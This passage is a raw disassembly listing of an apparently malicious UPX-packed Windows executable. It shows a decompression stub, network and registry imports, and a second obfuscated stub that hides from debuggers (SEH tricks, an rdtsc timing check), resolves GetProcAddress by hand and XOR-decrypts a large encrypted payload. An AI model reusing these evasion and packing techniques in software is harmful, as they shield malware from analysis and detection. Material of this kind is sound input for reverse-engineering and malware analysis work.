3A0B6972h, 0BFBDEC97h, 486573C8h, 0C646E61h dd 0C25E2447h, 8B6C3BDh, 5A61D26Eh, 0B5CDB3F0h, 0A3449711h dd 14796456h, 0B6DF75BBh, 2B61984Ch, 6F666E49h, 6509530Fh dd 37800670h, 9C496218h, 64656B26h, 64D98845h, 6EB328B3h dd 92E7FB36h, 12E0D0CDh, 6464410Bh, 0F7B30F72h, 4C0B111Dh dd 61726269h, 0E68AB567h, 4D2B60DAh, 36137C82h, 0D5CB080Bh dd 0C363CF8Eh, 547B42DAh, 75888169h, 4915DE65h, 0E94D8AD8h dd 1BDA3478h, 0DD29B36h, 0F239C45Dh, 4F116610h, 78455A62h dd 0B3612DB6h, 630ADF31h, 9B9E6D13h, 522DC6E0h, 87B591Bh dd 1766C0E0h, 38657A86h, 0A3604CA7h, 451585B5h, 0D160C3FCh dd 33759F9Dh, 0A1673A2Bh, 4579654Bh, 0CE40EC3Bh, 0FC18610h dd 5EC00A51h, 11F65AC2h, 5987309Eh, 21E7426Ch, 841CE010h dd 0C517B76h, 0BE6E6241h, 0E2B6853h, 310428A5h, 1AC13F86h dd 3677D985h, 62BB1089h, 440A7DB6h, 720E6112h, 0D61B6669h dd 0CA79B63Ah, 2B758F67h, 616F6C36h, 6FCE436Fh, 6F112C79h dd 67702350h, 0E8F5210h, 38F63F90h, 4114B4D0h, 69757163h dd 74AE7072h, 35494DD8h, 0C3363AA0h, 0DE1359A7h, 0CA7273ECh dd 18B16D06h, 35B2D1CEh, 150F920Eh, 536B99DAh, 445F1D4Dh dd 740AC558h, 685F3FB8h, 3627F9F6h, 2CC46DBh, 4F727907h dd 880110E9h, 9160AD15h, 1CC2D22h, 271DCD34h, 61150E65h dd 14362CC2h, 0BBB4E70Ah, 4906EE15h, 70737766h, 4166B105h dd 9C62834Fh, 424F466h, 0DB616C5Ah, 9B558543h, 370E1141h dd 6705212Ch, 1B866B14h, 6E0306A6h, 74534349h, 8C950E81h dd 0D471A65h, 0A8EDB2CBh, 273FFA1h, 2C010D02h, 392CB2CBh dd 0C17346Fh, 0B2CB2CB2h, 10130409h, 4F45AA16h, 455036AAh dd 0E4FFB60Eh, 59C896B7h, 0E00040D8h, 0B010F00h, 260C0601h dd 68011CB2h, 2334DC12h, 0C6A32510h, 0B31420Eh, 0B7334A02h dd 0C079BA4h, 39341E60h, 10B0364Bh, 2D570607h, 6210805Dh dd 7C64098Ch, 0B0AE3145h, 6A2E1E01h, 0B60D8180h, 269024A6h dd 7C7B64C4h, 0E0049F90h, 0FBE1642Eh, 0D85BA114h, 272A0737h dd 48C016h, 81434BE0h, 54C32Fh, 2 dup(0) db 90h db 0FFh, 2 dup(0) align 10h pusha mov esi, offset dword_31426000 lea edi, [esi-5000h] push edi or ebp, 0FFFFFFFFh jmp short loc_31427BD2 ; --------------------------------------------------------------------------- align 8 loc_31427BC8: ; CODE XREF: UPX1:loc_31427BD9j mov al, [esi] inc esi mov [edi], al inc edi loc_31427BCE: ; CODE XREF: UPX1:31427C66j ; UPX1:31427C7Dj add ebx, ebx jnz short loc_31427BD9 loc_31427BD2: ; CODE XREF: UPX1:31427BC0j mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BD9: ; CODE XREF: UPX1:31427BD0j jb short loc_31427BC8 mov eax, 1 loc_31427BE0: ; CODE XREF: UPX1:31427BEFj ; UPX1:31427BFAj add ebx, ebx jnz short loc_31427BEB mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427BEB: ; CODE XREF: UPX1:31427BE2j adc eax, eax add ebx, ebx jnb short loc_31427BE0 jnz short loc_31427BFC mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427BE0 loc_31427BFC: ; CODE XREF: UPX1:31427BF1j xor ecx, ecx sub eax, 3 jb short loc_31427C10 shl eax, 8 mov al, [esi] inc esi xor eax, 0FFFFFFFFh jz short loc_31427C82 mov ebp, eax loc_31427C10: ; CODE XREF: UPX1:31427C01j add ebx, ebx jnz short loc_31427C1B mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C1B: ; CODE XREF: UPX1:31427C12j adc ecx, ecx add ebx, ebx jnz short loc_31427C28 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C28: ; CODE XREF: UPX1:31427C1Fj adc ecx, ecx jnz short loc_31427C4C inc ecx loc_31427C2D: ; CODE XREF: UPX1:31427C3Cj ; UPX1:31427C47j add ebx, ebx jnz short loc_31427C38 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx loc_31427C38: ; CODE XREF: UPX1:31427C2Fj adc ecx, ecx add ebx, ebx jnb short loc_31427C2D jnz short loc_31427C49 mov ebx, [esi] sub esi, 0FFFFFFFCh adc ebx, ebx jnb short loc_31427C2D loc_31427C49: ; CODE XREF: UPX1:31427C3Ej add ecx, 2 loc_31427C4C: ; CODE XREF: UPX1:31427C2Aj cmp ebp, 0FFFFF300h adc ecx, 1 lea edx, [edi+ebp] cmp ebp, 0FFFFFFFCh jbe short loc_31427C6C loc_31427C5D: ; CODE XREF: UPX1:31427C64j mov al, [edx] inc edx mov [edi], al inc edi dec ecx jnz short loc_31427C5D jmp loc_31427BCE ; --------------------------------------------------------------------------- align 4 loc_31427C6C: ; CODE XREF: UPX1:31427C5Bj ; UPX1:31427C79j mov eax, [edx] add edx, 4 mov [edi], eax add edi, 4 sub ecx, 4 ja short loc_31427C6C add edi, ecx jmp loc_31427BCE ; --------------------------------------------------------------------------- loc_31427C82: ; CODE XREF: UPX1:31427C0Cj pop esi mov edi, esi mov ecx, 7Eh loc_31427C8A: ; CODE XREF: UPX1:31427C91j ; UPX1:31427C96j mov al, [edi] inc edi sub al, 0E8h loc_31427C8F: ; CODE XREF: UPX1:31427CB4j cmp al, 1 ja short loc_31427C8A cmp byte ptr [edi], 1 jnz short loc_31427C8A mov eax, [edi] mov bl, [edi+4] shr ax, 8 rol eax, 10h xchg al, ah sub eax, edi sub bl, 0E8h add eax, esi mov [edi], eax add edi, 5 mov eax, ebx loop loc_31427C8F lea edi, [esi+5000h] loc_31427CBC: ; CODE XREF: UPX1:31427CDEj mov eax, [edi] or eax, eax jz short loc_31427D07 mov ebx, [edi+4] lea eax, [eax+esi+7000h] add ebx, esi push eax add edi, 8 call dword ptr [esi+708Ch] xchg eax, ebp loc_31427CD9: ; CODE XREF: UPX1:31427CFFj mov al, [edi] inc edi or al, al jz short loc_31427CBC mov ecx, edi jns short near ptr loc_31427CEA+1 movzx eax, word ptr [edi] inc edi push eax inc edi loc_31427CEA: ; CODE XREF: UPX1:31427CE2j mov ecx, 0AEF24857h push ebp call dword ptr [esi+7090h] or eax, eax jz short loc_31427D01 mov [ebx], eax add ebx, 4 jmp short loc_31427CD9 ; --------------------------------------------------------------------------- loc_31427D01: ; CODE XREF: UPX1:31427CF8j call dword ptr [esi+7094h] loc_31427D07: ; CODE XREF: UPX1:31427CC0j popa jmp loc_31422334 ; --------------------------------------------------------------------------- align 400h UPX1 ends ; Section 3. (virtual address 00008000) ; Virtual size : 00022000 ( 139264.) ; Section size in file : 00022000 ( 139264.) ; Offset to raw data for section: 00008000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX2 segment para public 'CODE' use32 assume cs:UPX2 ;org 31428000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dd 3 dup(0) dd 80C4h, 808Ch, 3 dup(0) dd 80D1h, 809Ch, 3 dup(0) dd 80DEh, 80A4h, 3 dup(0) dd 80E9h, 80ACh, 3 dup(0) dd 80F4h, 80B4h, 3 dup(0) dd 8100h, 80BCh, 5 dup(0) dd 7C801D77h dword_31428090 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; UPX2:3142A06Fr ... dd 7C81CDDAh, 0 dd 77DD6BF0h, 0 dd 77C371D3h, 0 dd 7E41A8ADh, 0 dd 42C2C8A1h, 0 dd 71AB9639h, 0 dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h dd 6C642E32h, 534D006Ch, 54524356h, 6C6C642Eh, 45535500h dd 2E323352h, 6C6C64h, 494E4957h, 2E54454Eh, 6C6C64h, 5F325357h dd 642E3233h, 6C6Ch, 64616F4Ch, 7262694Ch, 41797261h, 65470000h dd 6F725074h, 64644163h, 73736572h, 78450000h, 72507469h dd 7365636Fh, 73h, 43676552h, 65736F6Ch, 79654Bh, 61720000h dd 646Eh, 72707377h, 66746E69h, 41h, 65746E49h, 74656E72h dd 6E65704Fh, 41h, 26h dup(0) dd 1C39068h, 0FFC48BEDh, 0E85B93D0h, 59h, 824648Bh, 4EBB8h dd 64FAEB00h, 18A167h, 0F30408Bh, 830240B6h, 3C7500F8h dd 0E8h, 0ED815D00h, 402334h, 237B858Bh, 85030040h, 402383h dd 858BF08Bh, 40237Fh, 23838503h, 8B500040h, 0ACC933FEh dd 238B8532h, 41AA0040h, 23878D3Bh, 0EF7C0040h, 64C02BC3h dd 896430FFh, 5678B820h, 3871234h, 6000h, 7BB0h, 31420000h dd 1E00h, 78h, 75Dh dup(0) db 87h, 0DBh ; --------------------------------------------------------------------------- push ebp mov ebp, esp call loc_3142A016 cmc nop call sub_3142A0DB jmp loc_3142A075 ; --------------------------------------------------------------------------- loc_3142A016: ; CODE XREF: UPX2:3142A005p push dword ptr fs:0 mov fs:0, esp mov ds:dword_3142A077, ebp stc xchg ebx, ebx xor ebx, ebx push ebx push ebx push ebx push ebx push ebx push ebx push ebx push 80000000h push ebx push 80000000h call ds:dword_31428090 ; GetProcAddress xor eax, eax push 80000000h push 800h push eax push 80000000h push eax push eax push eax push 1 push 8 push 80000000h push eax push 400h call ds:dword_31428090 ; GetProcAddress loc_3142A075: ; CODE XREF: UPX2:3142A011j clc ; --------------------------------------------------------------------------- db 0BDh dword_3142A077 dd 12FFC0h ; --------------------------------------------------------------------------- clc stc xchg ebx, ebx sub eax, eax loc_3142A081: ; CODE XREF: UPX2:3142A087j dec al or al, al jz short loc_3142A08B jnz short loc_3142A081 jmp short near ptr loc_3142A0F1+1 ; --------------------------------------------------------------------------- loc_3142A08B: ; CODE XREF: UPX2:3142A085j cld cmc call $+5 pop edx xchg ebx, ebx add edx, 63h mov edi, 2990h stc xchg ebx, ebx sub esi, esi add esi, 8 jmp short $+2 push edx loc_3142A0AE: ; CODE XREF: UPX2:3142A0C1j call sub_3142A0EA nop add edx, 1 dec edi stc mov edx, edx mov ecx, ecx cmc cmp edi, 0 ja short loc_3142A0AE pop edx jmp short $+2 jmp short $+2 mov esi, [ebp-8] mov fs:0, esi cmc jmp short $+2 mov eax, eax leave nop jmp edx ; --------------------------------------------------------------------------- stc ; =============== S U B R O U T I N E ======================================= sub_3142A0DB proc near ; CODE XREF: UPX2:3142A00Cp arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_3142A0DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp short $+2 ; =============== S U B R O U T I N E ======================================= sub_3142A0EA proc near ; CODE XREF: UPX2:loc_3142A0AEp xchg al, [edx] nop sub ax, si cmc loc_3142A0F1: ; CODE XREF: UPX2:3142A089j mov [edx], al retn sub_3142A0EA endp ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+32C7h], ebx mov ecx, [eax+297Fh] mov ebx, [esp+4] and ecx, 10000000h jz short loc_3142A141 pop ecx mov [eax+32CBh], esi mov cl, [eax+2983h] mov [eax+32CFh], edi cmp cl, 0E8h jz short loc_3142A136 mov ebx, [eax+2985h] jmp short loc_3142A13F ; --------------------------------------------------------------------------- loc_3142A136: ; CODE XREF: UPX2:3142A12Cj add ebx, [eax+2984h] mov ebx, [ebx+2] loc_3142A13F: ; CODE XREF: UPX2:3142A134j mov ebx, [ebx] loc_3142A141: ; CODE XREF: UPX2:3142A114j push ebp mov ebp, eax sub dword ptr [esp+4], 1EFAh sub ebp, 101005h mov edi, [esp+4] lea esi, [ebp+103990h] mov ecx, 0 rep movsb call sub_3142A21A mov ecx, eax call sub_3142A21A sub eax, ecx jz short loc_3142A1EC cmp eax, 100h ja short loc_3142A1EC and ebx, 0FFFFF000h loc_3142A180: ; CODE XREF: UPX2:3142A18Fj cmp dword ptr [ebx+4Eh], 73696854h jz short loc_3142A191 loc_3142A189: ; CODE XREF: UPX2:3142A19Ej sub ebx, 100h jnz short loc_3142A180 loc_3142A191: ; CODE XREF: UPX2:3142A187j mov eax, ebx add eax, [ebx+3Ch] mov edx, [eax+78h] cmp word ptr [eax], 4550h jnz short loc_3142A189 add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_3142A1AB: ; CODE XREF: UPX2:loc_3142A1BFj lodsd add eax, ebx cmp word ptr [eax+2], 5074h jnz short loc_3142A1BF cmp dword ptr [eax+5], 6441636Fh jz short loc_3142A1C4 loc_3142A1BF: ; CODE XREF: UPX2:3142A1B4j loop loc_3142A1AB pop ecx jmp short loc_3142A1EC ; --------------------------------------------------------------------------- loc_3142A1C4: ; CODE XREF: UPX2:3142A1BDj sub [esp], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx lea eax, [ebp+10113Fh] mov dx, [eax-17h] call sub_3142A21F jmp short loc_3142A234 ; --------------------------------------------------------------------------- loc_3142A1EC: ; CODE XREF: UPX2:3142A171j ; UPX2:3142A178j ... mov eax, [ebp+103984h] and eax, 10000000h jz short loc_3142A218 mov edi, [esp+4] lea esi, [ebp+103988h] lodsd mov ebx, [ebp+1042CCh] stosd movsb mov edi, [ebp+1042D4h] mov esi, [ebp+1042D0h] loc_3142A218: ; CODE XREF: UPX2:3142A1F7j pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_3142A21A proc near ; CODE XREF: UPX2:3142A163p ; UPX2:3142A16Ap rdtsc retn sub_3142A21A endp ; --------------------------------------------------------------------------- db 4Ah, 84h ; =============== S U B R O U T I N E ======================================= sub_3142A21F proc near ; CODE XREF: UPX2:3142A1E5p push ebx mov ecx, 2845h mov ebx, edx loc_3142A227: ; CODE XREF: sub_3142A21F+11j xor [eax], dl sub dl, bl xchg bl, bh inc eax xchg dl, dh loop loc_3142A227 pop ebx retn sub_3142A21F endp ; --------------------------------------------------------------------------- loc_3142A234: ; CODE XREF: UPX2:3142A1EAj mov ds:0B6000088h, al aas add [edi-6E6FEEAFh], dl loopne near ptr loc_3142A249+1 sub [ebp+364F37FAh], cl out dx, eax loc_3142A249: ; CODE XREF: UPX2:3142A240j fnstcw word ptr [edx] out 0C2h, al ; DMA controller, 8237A-5. ; channel 1 base address ; (also sets current address) push esp pusha fnstsw word ptr [esi] dec esp hlt ; --------------------------------------------------------------------------- db 8Bh dd 0B40121D8h, 0DDBA7973h, 0B07940ECh, 2172D3BDh, 0B02E0EDFh dd 9871F4C6h, 0F5AF1432h, 0FB3540EAh, 0F2B2417Eh, 2B2C8E19h dd 0F511221Dh, 6814D260h, 60732752h, 571C5926h, 0AFB78F16h dd 0DD4B9C01h, 4030FA44h, 0BD837C53h, 30F8B7C3h, 3D53112Eh dd 55D1A40Ah, 0D4896392h, 0EEA884B0h, 1801BBD3h, 90050BCAh dd 13EC6C23h, 60FDF7A5h, 0E8C47C1Bh, 0F5B0C1F9h, 5B9C5CF6h dd 0C01DD0F7h, 6DF74CBEh, 0C0F051A2h, 3D8A6B96h, 0B0A826DEh dd 9A91A56Fh, 2D9034E4h, 88E9E0F3h, 1DA127B2h, 98EA32A3h dd 6860B58Ah, 78ACFF7Bh, 0E8D0B3Dh, 0A984FCF0h, 0E4FFFBD2h dd 585CDC72h, 3ADC9399h, 20F7CF3Eh, 48A0D4EAh, 63A39DFh dd 0DC10B4D2h, 42E4AC5Ch, 96C55B9Ah, 9DBC8C38h, 0FEAC9BB2h dd 9F948CDCh, 100031C7h, 17E77CA6h, 0F0D4CF9Bh, 0E8A9ED8Eh dd 6DB074EAh, 0C80E00F3h, 2F2DA7D2h, 0E818CFDCh, 0C80AB821h dd 3595FC25h, 0A0237117h, 230FDFEEh, 0B047ADA6h, 0CF605B38h dd 91E8175Ah, 0BEC1F39Eh, 3C01434h, 0B8A9DCB2h, 720770EDh dd 293EC4Eh, 8718EBAh, 0D8DCD826h, 5148D4FAh, 7E2133FEh dd 0C520D454h, 0BA08B316h, 5AF8B440h, 280CFCAEh, 4AD0A01Ah dd 14D45D86h, 40A9FEA5h, 9148D36h, 36157BCAh, 90EC6C08h dd 0F05974A8h, 0D6F2F9F1h, 0E5D8646Ah, 319C5CE6h, 0D0085603h dd 2B2D4CD4h, 3FEA2E20h, 0A8729603h, 7349DF02h, 967291EDh dd 0AF9024CAh, 98FE28C2h, 906EFCB2h, 0DC9A0C1Eh, 800C48CEh dd 46DE6909h, 0C595F472h, 6894FB18h, 0DD7D2D09h, 584CE218h dd 0B85BDAA3h, 4834CE0Bh, 7E527969h, 370CBC46h, 307AB446h dd 0EA61272Eh, 0DF50B4A4h, 9D339D76h, 1038ACA9h, 364E0955h dd 70FF845Ah, 0D0E9F3B7h, 7BD8641Bh, 0F87AAA0Bh, 0E1C09BFAh dd 0E133D9E9h, 5D0354C2h, 0C8E472F4h, 0B19F5E49h, 8449B317h dd 3B3824BBh, 0B89AFE63h, 5F19C75Ah, 1DF31DB7h, 90F82D7Bh dd 8855B476h, 0C87D890Ah, 0F32CEC49h, 86989E2Dh, 6C741397h dd 0A730539h, 0F25DF66h, 4822D4F8h, 5D577973h, 5999C47Ah dd 0B58CBCD6h, 0CF06F946h, 83025351h, 209DA097h, 7E3C9C86h dd 14EF1959h, 85F0BEF5h, 10BD705Fh, 718AD036h, 73F312A0h dd 1D266ECCh, 0E05AB0F1h, 0D8EEB08Eh, 0BAC4DF52h, 0A2B0C7BEh dd 0C0E02C2Ah, 0F8263496h, 0BED26653h, 66B1D33Eh, 0F89034E4h dd 0F0BCD8C5h, 9068665Eh, 88BED895h, 0C02AC801h, 7AC6FC9Ch dd 18189E30h, 68849E22h, 0AA1E450h, 0CDA38C59h, 50D8EAC4h dd 0B7B19521h, 41A740E5h, 8D81BC56h, 3068A4C2h, 28E81797h dd 0D3BF2F9Ah, 18511DA3h, 9D288462h, 1880CE5Bh, 50E07B4Ah dd 924C16E2h, 2E4D8BDDh, 6D447CB0h, 0D4C53B3Ah, 0D81D138Eh dd 0D099BCD2h, 0ADA74C3Eh, 0B50221EEh, 0D1BE6C71h, 0D5545DF4h dd 0FFA44989h, 0A01574B2h, 0D4C9E3C6h, 6FE80470h, 986A6E0Bh dd 153F530Ah, 783CC250h, 72F2F488h, 565279B1h, 48C9E4AAh dd 0CFDCDC27h, 5CC135B9h, 0B7E398DAh, 501E5EFFh, 0BB7A8FD6h dd 20C782E7h, 7F30ACAEh, 1E4E31E5h, 0D8B99C96h, 93EEF286h dd 0E66688A0h, 8A4F035h, 0D2867C5Ch, 0CECEE15Dh, 28416C1Eh dd 8A3B80Eh, 0D89C596Eh, 33999D61h, 0FEF17584h, 0B5E05415h dd 9C30BDA4h, 0C2CB5726h, 290C581Dh, 0A09E831Bh, 0C8A84C46h dd 0C03845E4h, 0C641F34Dh, 54014B4h, 77D8A536h, 783C809Dh dd 57B26941h, 0A518E42Ah, 0BA3235Bh, 6EEE41EDh, 0C6DFCC6Eh dd 4188006Bh, 0C75BBC56h, 20469257h, 0E71532Eh, 0C950B4A4h dd 0E74367C6h, 1042CE72h, 8FE8CB4h, 1688420h, 736C78B6h dd 0A0D81EE6h, 2CCF60E4h, 98E68605h, 0D81C6839h, 0A609DE1h dd 450BB3C1h, 0D075153Fh, 0E99D6E16h, 9AADCBD2h, 2BA43CD0h dd 2BD3049Eh, 0C0244439h, 90DAF832h, 885A679Eh, 80C0050Ah dd 782CFC76h, 7098F4E2h, 682D684Eh, 6070E4BAh, 0B8A8D26h dd 6E7A416Dh, 111FCCEEh, 35E040C6h, 0FB625E2Dh, 298521CFh dd 0D736ACBEh, 30EE2E8Fh, 54B91586h, 0F8A884B0h, 8148C48h dd 6BEFEB86h, 8ABC0C43h, 9C3102CBh, 0BEA10B6Bh, 8545081Bh dd 27CC5CA7h, 0C03666C7h, 98F1C5BEh, 3E05468h, 0CB2D7ECAh dd 0DDD97A67h, 0CA6B480Bh, 0D4F341B0h, 0ECAA4035h, 0E40B71E1h dd 0FCA7601Eh, 0EE2568F8h, 1DDEBFF6h, 367D8003h, 29E180A7h dd 582A73Ah, 1E39A8C7h, 1DADB87Bh, 2144BC1Fh, 40E1A384h dd 5969CE15h, 4228D1B6h, 5B81CF41h, 6350E5E9h, 6CDDF974h dd 7D4DC617h, 5CF1F8B1h, 6165F622h, 8A2F7CD2h, 95AC1547h dd 8D3604DAh, 0A3B0009Bh, 0AC7D3914h, 0BFE700B7h, 0A4912452h dd 935277DAh, 0CBBC5D78h, 0B04C5BEAh, 0DCCD54ABh, 0C5624C0Eh dd 0DE7C78A7h, 0C48D785Bh, 0DC3161F7h, 0F3B95765h, 2C419902h dd 70FD998Bh, 0D619E08h, 12128DF6h, 58A5AE47h, 163CB1D5h dd 9D1A097h, 2952B01Eh, 5DF8C9B4h, 77F8F531h, 4122D8CBh dd 4983C176h, 5F3CF9FCh, 79EEE097h, 6140E932h, 4780E1A7h dd 97A10853h, 953401C6h, 8CAA0D46h, 0E0710116h, 8CE839A1h dd 96783937h, 861120D7h, 8185294Bh, 0CC297B96h, 0C0D55156h dd 0C0504D3Eh, 0C5D7249Bh, 0EA994A32h, 0FE077DC1h, 0FCB14B1Eh dd 0F33261DCh, 3DC2939Fh, 3718B51Ah, 7D298ABh, 59D9156h dd 373AB2EFh, 24A9B960h, 95AA317h, 21CF88EAh, 5A65F032h dd 490AD5B0h, 49A9AC6Fh, 4539F2EAh, 5EDAD371h, 104DF81Bh dd 66F1FC91h, 656CED0Ch, 881C1DFBh, 0B1BF1A4Bh, 8D34238Eh dd 8FC23494h, 0AB6F3905h, 0BFFA04D2h, 0BB87295Dh, 0A9267699h dd 0B8B84F64h, 0D35746D2h, 9BD75F8Bh, 0D8756A68h, 0FD2F1CB2h dd 0FC815246h, 0FC204DFBh, 0F5A26D78h, 395F9902h, 4FDA7E2h dd 0D688508h, 51D8DEEh, 3DB08F26h, 348A4F7h, 2DC0BF87h dd 2D499007h, 7EE3E8B3h, 649DD82Bh, 2801C1C7h, 41BDCA4Fh dd 7D55CAF6h, 56CEDB85h, 871E037h, 74F2ED9Ch, 0B9801D43h dd 933718CEh, 81B63B0Eh, 8976010Eh, 969C398Ah, 0BA6C1526h dd 98003FCBh, 0A9962D58h, 0DD2B59FAh, 0DBD76071h, 0E624420Bh dd 0C5E267AEh, 0DE996827h, 900D78DBh, 0FA977850h, 0E53465EFh dd 1BC38EA6h, 706B8707h, 1AC79880h, 584855Fh, 3B33AEF6h dd 15BBA777h, 3C7ACC06h, 21C5B6A9h, 5D5FD922h, 5F11C0A1h dd 5CAAAC40h, 4135D6D9h, 6BE9F972h, 6278E617h, 7BF1EFB1h dd 744E8439h, 0AE1C1DFBh, 0BFAF114Bh, 8B213FE8h, 8EDF0D8Eh dd 97681266h, 96E631A2h, 0C8912057h, 0B02F30E4h, 0CA9C5273h dd 0C35D57EDh, 0C3CB789Dh, 0EE104A3Fh, 0FD0C53B2h, 0F38D475Ch dd 0E63B65EAh, 0D0B44A0Ah, 1D589304h, 19CE8081h, 971983Ch dd 0D15A9D6h, 58A5AE49h, 2519A0DCh, 1CDBE9Bh, 324FA204h dd 51F8DDBBh, 5FACDA2Dh, 280AC9C5h, 5287D054h, 4E59E8EFh dd 65DCE69Bh, 6D59E03Fh, 79F2EBA7h, 94982E36h, 93311AF7h dd 0BBA10861h, 8E59160Eh, 99F30881h, 8361273Ch, 0A61D3ECAh dd 93B7444Dh, 0D9386FD7h, 0C0CD4070h, 0C7484F6Eh, 0CFE341A9h dd 0EC997725h, 0FE0777B2h, 0FCB76970h, 0F425638Ah, 0CDF939Eh dd 11768D00h, 1A8489A3h, 6086875Fh, 3C32B9D5h, 33A7A712h dd 4840A915h, 25D4AAA3h, 4C69D224h, 4317D881h, 4685E44Bh dd 2035C8FEh, 7DC8F24Fh, 644DFA00h, 4BE0E999h, 656EEA25h dd 9C0908D5h, 84B90071h, 860D6CEBh, 8EC2018Eh, 0A8532803h dd 0D0C93AB7h, 0AD802277h dd 0B4052AD8h, 0D6A94C59h, 0F15446D7h, 0DCCA65EEh, 0C57E563Fh dd 0F9194EB2h, 0FC815256h, 0CC150CFBh, 0C990455Ch, 3C02CE45h dd 2298B8AEh, 4478B2Bh, 2B1597D5h, 0ADCA543h, 2007B3F7h dd 2DFFA29Bh, 1588113h, 5FE9EED6h, 429DC113h, 4405FAD7h dd 5895C16Fh, 7D6E9CC7h, 64CDC795h, 7D78ED08h, 41F8C1AFh dd 0EDF2A36h, 0A60E76C8h, 0E9AEB885h, 0F8429B28h, 8809A3B0h dd 5B084410h, 9E221A7Ah, 0B01F127Ah, 6D9C38Eh, 33B8243Ch dd 6A7A3CAAh, 0E91D24D2h, 0C93437BDh, 906814DAh, 0AC9881F6h dd 0EA406E89h, 2BFCADF3h, 0BC93F108h, 3850679Eh, 31B08E6Eh dd 0CDA38FF4h, 50D8EAF4h, 0B73808FDh, 509E2A7Fh, 30C83F56h dd 0C4ED3901h, 1BE4BC13h, 7250CE53h, 2ABCAC6Eh, 41EC1F72h dd 58D4E68Fh, 8318EE1Bh, 92387476h, 6527242Ch, 0E854526Ch dd 0D390A079h, 0D7DCD9B4h, 0A7F964Bh, 0B366F66h, 289F77FDh dd 4733C3D7h, 0B09DB08Dh, 0C0F42CEEh, 0A01056B6h, 9816C84Dh dd 0D082D8B9h, 98540CF6h, 0D2C26E0Ah, 9444FC1Ch, 1A98F490h dd 3857BD4Eh, 5EA67145h, 183DC36h, 6E6E416Dh, 0B731CCEEh dd 0CDABB51Eh, 389CA95Eh, 0A575B8A1h, 2874BCAEh, 73877519h dd 9DB74E79h, 10B8AA30h, 20CE03D3h, 2B6884CAh, 731383C9h dd 0E066AE27h, 0CF4BE10Eh, 8306453h, 2763A3FCh, 0EECED1D9h dd 47F94CAEh, 0C0E06D04h, 47B3357Eh, 7A3DBFFDh, 2D243C50h dd 2DB0501Ah, 98D527C9h, 6E9CFCB2h, 0D5FF3E1h, 80503A58h dd 73D83C73h, 59507BEFh, 0B76CECCEh, 0EB0F1BC4h, 0D9F8361h dd 50C8D4FAh, 0A5B5917Eh, 40B0DFF6h, 0BD817565h, 3068AA65h dd 79B5F87Fh, 0DF01F5CAh, 882CE93h, 342C1372h, 36B21921h dd 0C25D845Ah, 10397CB2h, 0F0D87422h, 0A3A9EDD3h, 8AB074E1h dd 0CE89D199h, 808844C9h, 0ECD4816Ch, 43606EAAh, 7FAA30D2h dd 0A0236807h, 6F84E1EEh, 0B00B7ADFh, 0B27C38C6h, 0FA2B4932h dd 81BC5484h, 0DC0040Ah, 86869D34h, 0B368812Bh, 57447927h dd 0E475E4AAh, 0D19ED42Eh, 40779407h, 8B563BFEh, 40202C3Fh dd 0B9D1BCD6h, 20E311AFh, 6CF927AEh, 0A3D0B425h, 1834B8FAh dd 101110FDh, 0E4958C5Eh, 8086C2h, 0F9E81462h, 65A774A2h dd 0E8D45274h, 64BD98F1h, 0D89D58C2h, 0D0620452h, 0C8744856h dd 92B2122Ah, 2DB36B96h, 0B0A80A74h, 3FA9E55Dh, 0A09025DEh dd 9A964D17h, 0F8697EE3h, 0C8D40C1Eh, 0C2D5FBD8h, 0EEACECC8h dd 2B6C02E7h, 6CECB89Eh, 37F0E43Bh, 78786859h, 0AFC8D410h dd 580BEEEBh, 80259DEAh, 2CEFAA22h, 5AAC3F92h, 7FB5FE2Eh dd 9AC55BCCh, 41BC8C38h, 0C05D54F7h, 2E017388h, 8D009474h dd 0AF3E38E1h, 7D803048h, 0E8456819h, 2083CFFAh, 2B454C0Ch dd 80D80479h, 98A41C6Eh, 8AF5BBF8h, 39CC2C28h, 0B03A3C46h dd 8CD0D3EEh, 0B285DB52h, 0CB7C0CF9h, 0AFFA81CDh, 4A090C8Eh dd 0BE40040Eh, 3E2D897Ch, 651C7969h, 71E7EC5Eh, 70707137h dd 89DFDC36h, 0D49A2BC4h, 573CC33Eh, 4F20C46Bh, 388DAC52h dd 0AC63442h, 0A822BCDBh, 0A4DFA424h, 183C9D87h, 6588AA72h dd 3695CAAFh, 47CECD9Ah, 37673E43h, 0BF593264h, 8295A225h dd 0B366357Ah, 0E796C919h, 0EB515442h, 17F1437Fh, 4DE0442Ah dd 0A852A713h, 0D8B85E02h, 0A8242C62h, 356F778Ah, 98EC234Ch dd 9068188Fh, 3751031Eh, 6940048Ah, 78ACFC47h, 2248CAE3h dd 0ED8BBA87h, 60F0E49Fh, 0F4541A25h, 0D4C7D92Eh, 4834CCE7h dd 0B3D5E4D6h, 373680FAh, 30783847h, 8E9012Eh, 1D7084BAh dd 6CD9FB27h, 2C84EB07h, 89E8F9FEh, 68207B34h, 891908C2h dd 80DB0AA3h, 9D6B43B4h, 1FF7A292h, 622D5366h, 0D08873C2h dd 37A6AEC9h, 0D05EEE3Fh, 0E80C0F16h, 586864D2h, 0A8A42CE7h dd 0CE674B1Eh, 0FC1D73AAh, 8A7DEB32h, 0D541CA1h, 0B3F670CAh dd 3CA975BFh, 2198E4DDh, 6806EC26h, 3621B53Ah, 46492376h dd 0DD48C4ADh, 58AF536Bh, 8913946Ah, 6ADCED82h, 0A507E513h dd 287492FCh, 0DFF4A09Dh, 